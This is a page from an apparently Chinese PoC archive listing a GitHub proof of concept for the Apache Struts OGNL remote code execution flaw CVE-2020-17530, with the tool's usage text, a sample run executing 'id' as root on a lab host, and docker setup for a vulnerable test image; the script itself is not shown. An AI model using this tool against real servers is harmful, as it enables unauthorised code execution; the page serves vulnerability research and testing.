支持本站 — 捐款将帮助我们持续运营

目标: 1000 元，已筹: 1000 元

100.0%
立即捐款

POC详情: b62cef4a6aa9d3b2bcc27c51797de57b324f38ae

来源
https://github.com/CyborgSecurity/CVE-2020-17530
关联漏洞
标题:Apache Struts 代码注入漏洞 (CVE-2020-17530)
Description:Apache Struts是美国阿帕奇（Apache）基金会的一个开源项目，是一套用于创建企业级Java Web应用的开源MVC框架，主要提供两个版本框架产品，Struts 1和Struts 2。 Struts 存在代码注入漏洞，攻击者可利用该漏洞可以通过强迫Struts的OGNL评估来使用漏洞来运行代码。
介绍
# CVE-2020-17530

Quick POC for [CVE-2020-17530](https://nvd.nist.gov/vuln/detail/CVE-2020-17530). In Apache Struts versions 2.0.0 - 2.5.25 a forced Object Graph Navigational Language (OGNL) evaluation on raw user input in tag attributes may lead to remote code execution (RCE).

```
$ python CVE-2020-17530.py --help
usage: CVE-2020-17530.py [-h] [-c COMMAND] [-n NAME] [-p PORT] [-t TARGET] [-u URI]

optional arguments:
  -h, --help            show this help message and exit
  -c COMMAND, --command COMMAND
                        command
  -n NAME, --name NAME  form data name
  -p PORT, --port PORT  port
  -t TARGET, --target TARGET
                        target
  -u URI, --uri URI     uri

$ python CVE-2020-17530.py --target 10.10.30.62 --port 8080 --uri "/index.action" --command id
uid=0(root) gid=0(root) groups=0(root)
```

## Setup

```
$ docker pull vulhub/struts2:2.5.25
$ docker run -d -p 8080:8080 vulhub/struts2:2.5.25
```
文件快照

 [4.0K]  /data/pocs/b62cef4a6aa9d3b2bcc27c51797de57b324f38ae
├── [2.0K]  CVE-2020-17530.py
├── [ 943]  README.md
└── [  24]  requirements.txt

0 directories, 3 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。